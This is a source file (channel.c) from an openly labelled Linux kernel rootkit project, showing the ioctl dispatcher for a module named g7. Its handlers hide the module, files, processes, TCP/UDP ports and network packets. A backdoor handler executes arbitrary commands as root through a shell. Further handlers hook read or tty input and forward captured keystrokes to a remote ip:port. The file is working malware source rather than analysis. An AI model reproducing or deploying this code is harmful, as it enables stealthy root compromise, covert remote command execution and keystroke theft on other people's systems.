linux-rootkit

Feature-rich interactive rootkit that targets Linux kernel 4.19, accompanied by a dynamic kernel memory analysis GDB plugin for in vivo introspection (e.g. using QEMU)
git clone git://git.deurzen.net/linux-rootkit
Log | Files | Refs

channel.c (9574B)


      1 #include <linux/string.h>
      2 #include <linux/kernel.h>
      3 #include <linux/module.h>
      4 #include <linux/uaccess.h>
      5 #include <linux/ioctl.h>
      6 #include <linux/proc_fs.h>
      7 
      8 #include "channel.h"
      9 #include "common.h"
     10 #include "modhide.h"
     11 #include "filehide.h"
     12 #include "filehide_lstar.h"
     13 #include "openhide.h"
     14 #include "backdoor.h"
     15 #include "pidhide.h"
     16 #include "inputlog.h"
     17 #include "ioctl.h"
     18 #include "rootkit.h"
     19 #include "sockhide.h"
     20 #include "packhide.h"
     21 #include "porthide.h"
     22 
     23 #define BUFLEN 512
     24 
     25 extern rootkit_t rootkit;
     26 
     27 void
     28 report_channels(void)
     29 {
     30     DEBUG_NOTICE("-----------------------------------\n");
     31     DEBUG_NOTICE("listening on the following channels\n");
     32     DEBUG_NOTICE("%-24s %#10lx\n", "PING",     G7_PING);
     33     DEBUG_NOTICE("%-24s %#10lx\n", "MODHIDE",  G7_MODHIDE);
     34     DEBUG_NOTICE("%-24s %#10lx\n", "FILEHIDE", G7_FILEHIDE);
     35     DEBUG_NOTICE("%-24s %#10lx\n", "OPENHIDE", G7_OPENHIDE);
     36     DEBUG_NOTICE("%-24s %#10lx\n", "HIDEPID",  G7_PIDHIDE);
     37     DEBUG_NOTICE("%-24s %#10lx\n", "TCPHIDE",  G7_TCPHIDE);
     38     DEBUG_NOTICE("%-24s %#10lx\n", "UDPHIDE",  G7_UDPHIDE);
     39     DEBUG_NOTICE("%-24s %#10lx\n", "PACKHIDE", G7_PACKHIDE);
     40     DEBUG_NOTICE("%-24s %#10lx\n", "BACKDOOR", G7_BACKDOOR);
     41     DEBUG_NOTICE("%-24s %#10lx\n", "TOGGLEBD", G7_TOGGLEBD);
     42     DEBUG_NOTICE("%-24s %#10lx\n", "LOGGING",  G7_LOGGING);
     43     DEBUG_NOTICE("-----------------------------------\n");
     44 }
     45 
     46 channel_t
     47 detect_channel(unsigned cmd)
     48 {
     49     switch (cmd) {
     50     case G7_PING:     return (channel_t){ "PING",     handle_ping     };
     51     case G7_MODHIDE:  return (channel_t){ "MODHIDE",  handle_modhide  };
     52     case G7_FILEHIDE: return (channel_t){ "FILEHIDE", handle_filehide };
     53     case G7_OPENHIDE: return (channel_t){ "OPENHIDE", handle_openhide };
     54     case G7_PIDHIDE:  return (channel_t){ "HIDEPID",  handle_pidhide  };
     55     case G7_TCPHIDE:  return (channel_t){ "TCPHIDE",  handle_tcphide  };
     56     case G7_UDPHIDE:  return (channel_t){ "UDPHIDE",  handle_udphide  };
     57     case G7_PACKHIDE: return (channel_t){ "PACKHIDE", handle_packhide };
     58     case G7_BACKDOOR: return (channel_t){ "BACKDOOR", handle_backdoor };
     59     case G7_TOGGLEBD: return (channel_t){ "TOGGLEBD", handle_togglebd };
     60     case G7_LOGGING:  return (channel_t){ "LOGGING",  handle_logging  };
     61     }
     62 
     63     return (channel_t){ "unknown", NULL };
     64 }
     65 
     66 int
     67 handle_ping(unsigned long arg)
     68 {
     69     char buf[BUFLEN];
     70 
     71     if (!(const char *)arg)
     72         return -ENOTTY;
     73 
     74     copy_from_user(buf, (const char *)arg, BUFLEN);
     75     if (!strcmp("PING", buf)) {
     76         buf[1] = 'O';
     77         copy_to_user((char *)arg, buf, BUFLEN);
     78     }
     79 
     80     return 0;
     81 }
     82 
     83 int
     84 handle_modhide(unsigned long arg)
     85 {
     86     long sarg = (long)arg;
     87 
     88     if (!sarg) {
     89         static char *argv[] = {
     90             "/bin/sh",
     91             "-c",
     92             "/sbin/rmmod g7",
     93             NULL
     94         };
     95 
     96         static char *envp[] = {
     97             "HOME=/",
     98             "TERM=linux",
     99             "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
    100             NULL
    101         };
    102 
    103         DEBUG_NOTICE("[g7] unloading module\n");
    104 
    105         unhide_module();
    106         rootkit.hiding_module = 0;
    107 
    108         call_usermodehelper(argv[0], argv, envp, UMH_NO_WAIT);
    109     } else if (sarg < 0) {
    110         unhide_module();
    111         rootkit.hiding_module = 0;
    112 
    113         DEBUG_NOTICE("[g7] modhide off\n");
    114     } else if (sarg > 0) {
    115         hide_module();
    116         rootkit.hiding_module = 1;
    117 
    118         DEBUG_NOTICE("[g7] modhide on\n");
    119     }
    120 
    121     return 0;
    122 }
    123 
    124 int
    125 handle_filehide(unsigned long arg)
    126 {
    127     static fh_state_t last_state = FH_OFF;
    128 
    129     if (last_state == FH_OFF)
    130         last_state = rootkit.hiding_files
    131             == FH_OFF ? FH_TABLE : rootkit.hiding_files;
    132 
    133     long sarg = (long)arg;
    134     bool set = rootkit.hiding_files;
    135 
    136     if (sarg > 0 || (!sarg && !set)) {
    137         rootkit.hiding_files = last_state;
    138 
    139         switch (rootkit.hiding_files) {
    140         case FH_TABLE: hide_files();       break;
    141         case FH_LSTAR: hide_files_lstar(); break;
    142         default: break;
    143         }
    144     } else if (sarg < 0 || (!sarg && set)) {
    145         switch (rootkit.hiding_files) {
    146         case FH_TABLE: unhide_files();       break;
    147         case FH_LSTAR: unhide_files_lstar(); break;
    148         default: break;
    149         }
    150 
    151         rootkit.hiding_files = FH_OFF;
    152     }
    153 
    154     DEBUG_NOTICE("[g7] filehide %s\n", rootkit.hiding_files ? "on" : "off");
    155 
    156     return 0;
    157 }
    158 
    159 int
    160 handle_openhide(unsigned long arg)
    161 {
    162     long sarg = (long)arg;
    163     bool set = rootkit.hiding_open;
    164 
    165     if (sarg > 0 || (!sarg && (set ^ 1))) {
    166         hide_open();
    167         rootkit.hiding_open = 1;
    168     } else if (sarg < 0 || (!sarg && !(set ^ 1))) {
    169         unhide_open();
    170         rootkit.hiding_open = 0;
    171     }
    172 
    173     DEBUG_NOTICE("[g7] openhide %s\n", rootkit.hiding_open ? "on" : "off");
    174 
    175     return 0;
    176 }
    177 
    178 int
    179 handle_pidhide(unsigned long arg)
    180 {
    181     long sarg = (long)arg;
    182 
    183     if (!sarg) {
    184         unhide_pids();
    185         rootkit.hiding_pids = 0;
    186         DEBUG_NOTICE("[g7] pidhide off\n");
    187     } else if (sarg < 0) {
    188         unhide_pid((pid_t)(-sarg));
    189         DEBUG_NOTICE("[g7] unhiding pid %ld\n", -sarg);
    190     } else if (sarg > 0) {
    191         if (!rootkit.hiding_pids) {
    192             hide_pids();
    193             DEBUG_NOTICE("[g7] pidhide on\n");
    194         }
    195 
    196         hide_pid((pid_t)sarg);
    197         rootkit.hiding_pids = 1;
    198         DEBUG_NOTICE("[g7] hiding pid %ld\n", sarg);
    199     }
    200 
    201     return 0;
    202 }
    203 
    204 int
    205 handle_tcphide(unsigned long arg)
    206 {
    207     long sarg = (long)arg;
    208 
    209     if (!sarg) {
    210         // TODO also remove all sockets (tcp & udp) that are currently being hidden
    211         rootkit.hiding_sockets = 0;
    212         unhide_sockets();
    213         DEBUG_NOTICE("[g7] socket hiding off\n");
    214     } else if (sarg < 0) {
    215         unhide_port((port_t)-sarg, tcp4);
    216         unhide_port((port_t)-sarg, tcp6);
    217         DEBUG_NOTICE("[g7] unhiding tcp socket with port %ld\n", -sarg);
    218     } else if (sarg > 0) {
    219         if (!rootkit.hiding_sockets) {
    220             hide_sockets();
    221             DEBUG_NOTICE("[g7] socket hiding on\n");
    222         }
    223 
    224         hide_port((port_t)sarg, tcp4);
    225         hide_port((port_t)sarg, tcp6);
    226         rootkit.hiding_sockets = 1;
    227         DEBUG_NOTICE("[g7] hiding tcp socket with port %ld\n", sarg);
    228     }
    229 
    230     return 0;
    231 }
    232 
    233 int
    234 handle_udphide(unsigned long arg)
    235 {
    236     long sarg = (long)arg;
    237 
    238     if (!sarg) {
    239         unhide_sockets();
    240         rootkit.hiding_sockets = 0;
    241         DEBUG_NOTICE("[g7] socket hiding off\n");
    242     } else if (sarg < 0) {
    243         unhide_port((port_t)-sarg, udp4);
    244         unhide_port((port_t)-sarg, udp6);
    245         DEBUG_NOTICE("[g7] unhiding udp socket with port %ld\n", -sarg);
    246     } else if (sarg > 0) {
    247         if (!rootkit.hiding_sockets) {
    248             hide_sockets();
    249             DEBUG_NOTICE("[g7] socket hiding on\n");
    250         }
    251         hide_port((port_t)sarg, udp4);
    252         hide_port((port_t)sarg, udp6);
    253         DEBUG_NOTICE("[g7] hiding udp socket with port %ld\n", sarg);
    254     }
    255 
    256     return 0;
    257 }
    258 
    259 int
    260 handle_packhide(unsigned long arg)
    261 {
    262     char buf[BUFLEN];
    263     memset(buf, 0, BUFLEN);
    264     const char *sarg = (const char *)arg;
    265 
    266     if (!sarg) {
    267         rootkit.hiding_packets = 0;
    268         clear_hidden_ips();
    269         DEBUG_NOTICE("[g7] packet hiding off\n");
    270     } else if (!copy_from_user(buf, sarg, BUFLEN)
    271         && (strstr(buf, ":") || strstr(buf, ".")))
    272     {
    273         if (buf[0] == (char)1) {
    274             if (!rootkit.hiding_packets) {
    275                 hide_packets();
    276                 DEBUG_NOTICE("[g7] packet hiding on\n");
    277             }
    278 
    279             hide_ip(&buf[1]);
    280             rootkit.hiding_packets = 1;
    281             DEBUG_INFO("[g7] hiding packets from/to ip address %s\n", &buf[1]);
    282         } else if (buf[0] == (char)-1) {
    283             unhide_ip(&buf[1]);
    284             DEBUG_INFO("[g7] unhiding packets from/to ip address %s\n", &buf[1]);
    285         } else
    286             return -ENOTTY;
    287 
    288     } else
    289         return -ENOTTY;
    290 
    291     return 0;
    292 }
    293 
    294 int
    295 handle_backdoor(unsigned long arg)
    296 {
    297     char buf[BUFLEN];
    298 
    299     if (!(const char *)arg)
    300         return -ENOTTY;
    301 
    302     copy_from_user(buf, (const char *)arg, BUFLEN);
    303 
    304     char *argv[] = {
    305         "/bin/sh",
    306         "-c",
    307         buf,
    308         NULL
    309     };
    310 
    311     static char *envp[] = {
    312         "HOME=/",
    313         "TERM=linux",
    314         "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
    315         NULL
    316     };
    317 
    318     DEBUG_INFO("[g7] executing %s\n", buf);
    319 
    320     call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
    321     return 0;
    322 }
    323 
    324 int
    325 handle_togglebd(unsigned long arg)
    326 {
    327     char *msg;
    328     long sarg = (long)arg;
    329 
    330     if (!sarg) {
    331         unbackdoor();
    332         rootkit.backdoor = BD_OFF;
    333         msg = "off";
    334     } else if (sarg < 0) {
    335         unbackdoor();
    336         backdoor_read();
    337         rootkit.backdoor = BD_READ;
    338         msg = "hooked into `read`";
    339     } else if (sarg > 0) {
    340         unbackdoor();
    341         backdoor_tty();
    342         rootkit.backdoor = BD_TTY;
    343         msg = "hooked into `{p,t}ty`";
    344     }
    345 
    346     DEBUG_NOTICE("[g7] backdoor %s\n", msg);
    347 
    348     return 0;
    349 }
    350 
    351 int
    352 handle_logging(unsigned long arg)
    353 {
    354     char buf[BUFLEN];
    355     const char *sarg = (const char *)arg;
    356 
    357     if (!sarg) {
    358         unlog_input();
    359         rootkit.logging_input = 0;
    360 
    361         DEBUG_NOTICE("[g7] inputlogging off\n");
    362     } else if (!copy_from_user(buf, sarg, BUFLEN) && strstr(buf, ":")) {
    363         if (!rootkit.logging_input) {
    364             DEBUG_NOTICE("[g7] inputlogging on\n");
    365         } else
    366             unlog_input();
    367 
    368         char *port = buf;
    369         char *ip = strsep(&port, ":");
    370 
    371         log_input(ip, port);
    372         rootkit.logging_input = 1;
    373 
    374         DEBUG_INFO("[g7] forwarding stdin to socket %s:%s\n", ip, port);
    375     } else
    376         return -ENOTTY;
    377 
    378     return 0;
    379 }